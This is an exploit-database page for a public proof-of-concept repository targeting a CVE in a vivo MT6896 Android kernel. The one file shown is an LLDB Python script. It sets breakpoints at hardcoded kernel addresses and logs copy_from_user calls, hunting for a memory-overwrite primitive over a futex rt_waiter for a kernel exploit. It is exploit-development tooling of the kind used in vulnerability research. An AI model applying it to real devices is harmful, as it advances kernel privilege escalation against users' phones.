Exploit database

GH-282e253a53c16ebe50dc62429538a0d3

syerain/cve-2026-43499-vivo-mt6896

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

169 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files51
syerain/cve-2026-43499-vivo-mt6896Revision 2970a36d0ff8
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exec/gdb_233_plan2_scan.py

Python · 3,256 bytes
import lldb, os, time, re

# 5.10.233 vivo MT6896 (nokaslr), phase1/Image
WRPI = 0xffffffc0082d25dc   # futex_wait_requeue_pi entry (rt_waiter = entry_sp - 0x190)
CFU  = 0xffffffc00801ecc0   # __arch_copy_from_user (x0=dest, x1=src, x2=len)
PE   = 0xffffffc008412220   # __arm64_sys_perf_event_open
IOUS = 0xffffffc008a5b530   # __arm64_sys_io_uring_setup

HERE = os.path.dirname(os.path.abspath(__file__))
LOG = os.path.join(HERE, "..", "logs", "gdb_233_plan2_scan.log")

state = {"wrpi": 0, "S": None, "pe": 0, "ious": 0, "ncfu": 0, "t0": time.time()}


def log(msg):
    with open(LOG, "a", encoding="utf-8") as f:
        f.write(msg + "\n")


def rx(frame, name):
    try:
        for i in range(frame.GetRegisters().GetSize()):
            rset = frame.GetRegisters().GetValueAtIndex(i)
            v = rset.GetChildMemberWithName(name)
            if v and v.IsValid():
                s = v.GetValueAsUnsigned()
                return int(s, 16) if isinstance(s, str) else int(s)
    except Exception:
        pass
    return None


def hit_wrpi(frame, bp_loc, dict_):
    state["wrpi"] += 1
    tid = frame.GetThread().GetIndexID()
    sp = rx(frame, "sp")
    S = (sp - 0x190) if sp else None
    state["S"] = S
    log("=== WRPI #%d tid=%d sp=%#x S(rt_waiter)=%#x ===" % (state["wrpi"], tid, sp, S))
    return False


def hit_pe(frame, bp_loc, dict_):
    state["pe"] += 1
    log("=== perf_event_open entry #%d tid=%d ===" % (state["pe"], frame.GetThread().GetIndexID()))
    return False


def hit_ious(frame, bp_loc, dict_):
    state["ious"] += 1
    log("=== io_uring_setup entry #%d tid=%d ===" % (state["ious"], frame.GetThread().GetIndexID()))
    return False


def hit_cfu(frame, bp_loc, dict_):
    if state["S"] is None:
        return False
    x0 = rx(frame, "x0")
    x1 = rx(frame, "x1")
    x2 = rx(frame, "x2")
    x30 = rx(frame, "x30") or 0
    if x0 is None or x2 is None:
        return False
    state["ncfu"] += 1
    delta = x0 - state["S"]
    cover = (x2 >= 0x50 and delta <= 0x18 and delta + x2 >= 0x48)
    tag = "*** COVER PRIMITIVE ***" if cover else ""
    log("=== CFU #%d tid=%d dest=%#x len=%#x src=%#x delta=%#x ret=%#x %s ===" % (
        state["ncfu"], frame.GetThread().GetIndexID(), x0, x2, x1, delta, x30, tag))
    return state["ncfu"] >= 30


def run_scan(debugger):
    dbg = debugger
    tgt = dbg.GetSelectedTarget()
    if not tgt.IsValid():
        tgt = dbg.CreateTarget("")
    dbg.HandleCommand("gdb-remote localhost:1234")
    proc = tgt.GetProcess()
    if not proc.IsValid():
        log("connect failed")
        return
    b1 = tgt.BreakpointCreateByAddress(WRPI)
    b1.SetScriptCallbackFunction("gdb_233_plan2_scan.hit_wrpi")
    b2 = tgt.BreakpointCreateByAddress(CFU)
    b2.SetScriptCallbackFunction("gdb_233_plan2_scan.hit_cfu")
    b3 = tgt.BreakpointCreateByAddress(PE)
    b3.SetScriptCallbackFunction("gdb_233_plan2_scan.hit_pe")
    b4 = tgt.BreakpointCreateByAddress(IOUS)
    b4.SetScriptCallbackFunction("gdb_233_plan2_scan.hit_ious")
    log("breakpoints set (WRPI=%#x CFU=%#x PE=%#x IOUS=%#x); continuing" % (WRPI, CFU, PE, IOUS))
    proc.Continue()


def __lldb_init_module(debugger, internal_dict):
    log("gdb_233_plan2_scan loaded; auto-run")
    run_scan(debugger)